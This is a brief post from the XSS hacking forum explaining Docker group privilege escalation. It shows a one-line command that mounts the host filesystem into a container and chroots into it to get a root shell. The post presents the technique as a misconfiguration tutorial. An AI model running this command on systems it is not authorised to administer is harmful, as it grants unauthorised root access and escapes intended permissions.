• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Docker Engine privilege's escalation ( root )

oxostore

HDD-drive
Пользователь
Регистрация
07.08.2023
Сообщения
35
Реакции
17
Dockirize everything !

Holla XSS!

in 2024 docker is everywhere and involved in everything


its all about misconfiguration .



looking into docker normal usage as example

Код:
docker run hello-world

This command downloads a test image and runs it in a container. When the container runs, it prints an informational message and exits.

1-1.png


am normal user priv in a server... but i was able to excute the above command means i can use docker as user..


lets play around ..

Код:
docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash

info :
Parameter -v will create volume in docker instance , Parameter -it makes docker in shell mode instead of daemon process.

2-1--1-.png


and we are root !


Infected Version :





Credits Please if Copied never shared in other forums!
show some love to keep this going by reaction or whatever support !

any translation to Russian is appreciated from experienced user !






 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх